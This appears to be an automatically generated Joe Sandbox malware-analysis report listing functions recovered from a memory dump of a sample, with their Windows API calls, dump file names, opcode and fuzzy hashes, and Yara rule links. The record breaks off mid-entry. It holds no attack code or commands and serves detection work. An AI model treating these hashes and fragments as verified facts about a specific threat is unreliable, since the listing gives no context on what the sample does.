Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00FDFD18
LoadLibraryW.KERNEL32(?,?,?,?,00000800,?,00FDE7F6,Crypt32.dll,?,00FDE878,?,00FDE85C,?,?,?,?), ref: 00FDFD3A

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 3fe0d3aa02d186d882eba167e9e8de56483ecee7002a6c155aff0b1d90a4da7b
Instruction ID: b2e059278cdfd2ae40c6afc27ff442a4770b1d4b910320e30f69efb57cfab214
Opcode Fuzzy Hash: 3fe0d3aa02d186d882eba167e9e8de56483ecee7002a6c155aff0b1d90a4da7b
Instruction Fuzzy Hash: 6DE0487690025C6BDB21DB95DC08FEA776DEF0C391F4800A6B948D2105DA79D944DBF1

Function 00FE9B08 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,01001161,000000FF), ref: 00FE9B31
CoUninitialize.COMBASE(?,?,?,01001161,000000FF), ref: 00FE9B36

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 20baa78c2fe2d0ac6901194560b55589ab5b3affd01e92f73d46060e6b2dffc2
Instruction ID: a16876bb9ae2581a3813f915ab6c96951c1ed3dbc462a1e8f6f7b74231113dd4
Opcode Fuzzy Hash: 20baa78c2fe2d0ac6901194560b55589ab5b3affd01e92f73d46060e6b2dffc2
Instruction Fuzzy Hash: 84E04F32544684EFC721DF88DC46B56B7E8FB49B20F004769F81983B54CB796800CBD1

Function 00FF1726 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 00FF281A: try_get_function.LIBVCRUNTIME ref: 00FF282F

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00FF1744
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00FF174F

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 1c7c4f13bb8cd5a44a2e04336aef757963c21bc76331c5aa449d8d90defe3b7a
Instruction ID: 8e8dd0097fa0e56fe17fa31c950c8be60821507bfbc785dea6dece7fa33b7e3d
Opcode Fuzzy Hash: 1c7c4f13bb8cd5a44a2e04336aef757963c21bc76331c5aa449d8d90defe3b7a
Instruction Fuzzy Hash: 43D0A72794430D844E0036B46C1257527487D11BB0BA04747F324DE0F2EF288005B525

Function 00FD12B2 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00FD12C7
ShowWindow.USER32(00000000), ref: 00FD12CE

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: fa25da9112a999f7c026a353729bd0c9f17e20b5737afea6e29949e735e95d34
Instruction ID: 357c4d3993a33d0958b0c61eb6a819c68c95b48b5b7dd48624f705fe588b9bd3
Opcode Fuzzy Hash: fa25da9112a999f7c026a353729bd0c9f17e20b5737afea6e29949e735e95d34
Instruction Fuzzy Hash: 55C01272058200BECB021BF0DC09D3EBBA8ABA4212F04C90CB0E5C00A8C63EC010DB21

Function 00FD1294 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00FD12A2
KiUserCallbackDispatcher.NTDLL(00000000), ref: 00FD12A9

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CallbackDispatcherItemUser
String ID:
API String ID: 4250310104-0
Opcode ID: 4d60f86c37461706cdaf0d1e7058abfc2f38ba7fde40c1167b226509a9d052e5
Instruction ID: d784d56e5553eb83d95c75679c3e2953ffb76cdddfee372218dca4d2b0c58217
Opcode Fuzzy Hash: 4d60f86c37461706cdaf0d1e7058abfc2f38ba7fde40c1167b226509a9d052e5
Instruction Fuzzy Hash: E3C04C76408240BFCB125BE09808D3FBFAAAB98312F04C80DB1E580028C73A8510DB21

Function 00FD1973 Relevance: 1.8, APIs: 1, Instructions: 285COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD1978

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7774b5247e718b8d778ee8e46b15c6b54c5262b9a4d4b0e1dee9b9468aa8539f
Instruction ID: 64f098641255dfe41087d63e3a42e1fa985690e6cf813b04e0ef51d43eda080d
Opcode Fuzzy Hash: 7774b5247e718b8d778ee8e46b15c6b54c5262b9a4d4b0e1dee9b9468aa8539f
Instruction Fuzzy Hash: D2B1CD70A04646BFEB28CF78C484BB9FBA7BF05314F18025BE45593381D729A964EB91

Function 00FD81C4 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD81C9

Part of subcall function 00FD137D: __EH_prolog.LIBCMT ref: 00FD1382
Part of subcall function 00FD137D: new.LIBCMT ref: 00FD13FA

Part of subcall function 00FD1973: __EH_prolog.LIBCMT ref: 00FD1978

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 00b65c27536f93b5c17ae57e0dff640d174d95e5b7825e5c10e504351a4a4402
Instruction ID: eae25039ec1cbd6b1f7bd54493bc312c12dcade51927d66a45026ca88f90a471
Opcode Fuzzy Hash: 00b65c27536f93b5c17ae57e0dff640d174d95e5b7825e5c10e504351a4a4402
Instruction Fuzzy Hash: E641A371D40654AADB24DB60CC51BEAB37AAF00750F0800EBE58D93252DF785EC9EB50

Function 00FE2A7F Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FE2A84

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: dae3b431c870d71d727c354573168df793a12a9fb5c2d7b2e8ade3e268e813f8
Instruction ID: 848fe7a68ba91b96664f43a4689c4b50aa99daeb45249fbff5d72eedee88d254
Opcode Fuzzy Hash: dae3b431c870d71d727c354573168df793a12a9fb5c2d7b2e8ade3e268e813f8
Instruction Fuzzy Hash: C42104B1E40255ABDB14DF76DC42A6A77ACFB44324F00023AE509EB682E7749D00D6A8

Function 00FE9EEF Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FE9EF4

Part of subcall function 00FD137D: __EH_prolog.LIBCMT ref: 00FD1382
Part of subcall function 00FD137D: new.LIBCMT ref: 00FD13FA

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 45791b9f60525faade7721d344bd980179f2616c6292d2977d0c98858dda65db
Instruction ID: d02c2e38cd8c790842c6577acf4b95c3df28436f477413c87e838abee408722a
Opcode Fuzzy Hash: 45791b9f60525faade7721d344bd980179f2616c6292d2977d0c98858dda65db
Instruction Fuzzy Hash: 78215E71D04289AACF14DF95DD819EEB7F5BF59310F0404AEE809A7302D779AE05EB60

Function 00FD910B Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD9110

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1f30d26bf0e381434d77efb4cd95f7bd8005450bef81a3e7b34cb769f00c3178
Instruction ID: 957183b621fa0203ad97d45a204c7afcb4a26df85fb256f5a864b80eb8a50d76
Opcode Fuzzy Hash: 1f30d26bf0e381434d77efb4cd95f7bd8005450bef81a3e7b34cb769f00c3178
Instruction Fuzzy Hash: F9118277D00529ABCF12AB98CC419EEB737AF48750F094116F810A7352DB788D05AAE0

Function 00FF7A8A Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00FF2FA6,?,0000015D,?,?,?,?,00FF4482,000000FF,00000000,?,?), ref: 00FF7ABC

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3f627c6a234abfd939626c83ef9209351d310bff55f4d113c19eeba87a7b9492
Instruction ID: 07cb4d1c46bddbb5d7563cb5cf95f4d787a9a6156dc06ac96aca127588f41f67
Opcode Fuzzy Hash: 3f627c6a234abfd939626c83ef9209351d310bff55f4d113c19eeba87a7b9492
Instruction Fuzzy Hash: 7FE0A03294832D66D63136754D00B7EBA49EF017B0F1B0161EF54960B4CF2CCE00A2E1

Function 00FD5A1D Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD5A22

Part of subcall function 00FDAD1B: __EH_prolog.LIBCMT ref: 00FDAD20

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1df22924f91f28f5aedbbfaa871d75eb178bcb2727a5991f19f52c942bb3537b
Instruction ID: 717e45b10ecc80d44c3202a8fdb6828076fc03a8c19b87d207de3d9130082f62
Opcode Fuzzy Hash: 1df22924f91f28f5aedbbfaa871d75eb178bcb2727a5991f19f52c942bb3537b
Instruction Fuzzy Hash: 86016D70A19684DAD715F7A4C905BEEB7A69F15310F04059EA44B53382CBBC2B08E762

Function 00FDA1B1 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000,000000FF,?,?), ref: 00FDA1E0

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: f428d7b119a417b423f8270bf221df50f6a9fdddbbce4b5b9d7840a46d76e333
Instruction ID: 62957b132a1f891aef61401165e90c3af8f25ecf93b07b2e7bb363bde130b57f
Opcode Fuzzy Hash: f428d7b119a417b423f8270bf221df50f6a9fdddbbce4b5b9d7840a46d76e333
Instruction Fuzzy Hash: 84F05431409780AACA225BB448057CBBB926F15332F188A4AF1FD52292C6BA5095AB36

Function 00FE02E8 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00FE031D

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 94ab8f2ba39a5977890e85efd394baea81a180e12c5e462e0f0de40f8d315763
Instruction ID: 6a8e02fdaebf2832cd379af672df94389632e7363564b54ed63bb387142f936e
Opcode Fuzzy Hash: 94ab8f2ba39a5977890e85efd394baea81a180e12c5e462e0f0de40f8d315763
Instruction Fuzzy Hash: 71D01221A151D016DA227625A9557FE36178F86761F09046AB0C5663CFCE9E08CAB3A1

Function 00FD9745 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(000000FF,00FD9683), ref: 00FD9751

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 215afba638ef037cfce40115b95e9e541d9b389fa3345f1bd251391a9801176d
Instruction ID: 4e80bba5c97678044a3b4890d64fc0341476e1bd258c5bb3a4d7f995c20d2665
Opcode Fuzzy Hash: 215afba638ef037cfce40115b95e9e541d9b389fa3345f1bd251391a9801176d
Instruction Fuzzy Hash: FBD0123093530095CF715E784E0905566579F43376B3CC6A6E075C41A6C762C803F500

Function 00FEC9FE Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00FECA23

Part of subcall function 00FEA388: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00FEA399
Part of subcall function 00FEA388: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FEA3AA
Part of subcall function 00FEA388: IsDialogMessageW.USER32(000304CA,?), ref: 00FEA3BE
Part of subcall function 00FEA388: TranslateMessage.USER32(?), ref: 00FEA3CC
Part of subcall function 00FEA388: DispatchMessageW.USER32(?), ref: 00FEA3D6

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 72d052ebc8c4434ae2d7d5712b27d45df3c4992e6414c9f56e933be3febb7c76
Instruction ID: 8b971ab0808df4d3e21a9b0c25418cda2d6e00b8b36a61a4f9ef232f7bbe190f
Opcode Fuzzy Hash: 72d052ebc8c4434ae2d7d5712b27d45df3c4992e6414c9f56e933be3febb7c76
Instruction Fuzzy Hash: 2AD09E35144300AAD7122B91CE06F1A7AB6AB8CB04F004554B285740E1C667AD20AB12

Function 00FDE708 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00FDE712

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 7b46d62d6826b4eb40e5bca59d8793a71afddf3f62f6f72b41c45c2310913014
Instruction ID: ce1fd9b621dd2b485b8963c7ddb6245413e49a2f78fa7cec52bba3bf64546810
Opcode Fuzzy Hash: 7b46d62d6826b4eb40e5bca59d8793a71afddf3f62f6f72b41c45c2310913014
Instruction Fuzzy Hash: F6D0C971410311CFE3B19F28E404782BBE1AF08321B15882E90D9C2214E6754880CF40

Function 00FED1DD Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED1B6

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 48d8bbdf0581545e7e229fe2c274468ea7bb62c7ddf51f7613f58452e035cc9d
Instruction ID: 28d094d6044024e912d40582d1036db3c2aa93f35219ebf5348bc989659ef5e9
Opcode Fuzzy Hash: 48d8bbdf0581545e7e229fe2c274468ea7bb62c7ddf51f7613f58452e035cc9d
Instruction Fuzzy Hash: F0B0128236C240EC300A6187AD02D3A060CD2C0B14730C40FF084C6486D4494C012131

Function 00FED1D3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FED1B6

Part of subcall function 00FED53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FED5B7
Part of subcall function 00FED53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FED5C8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
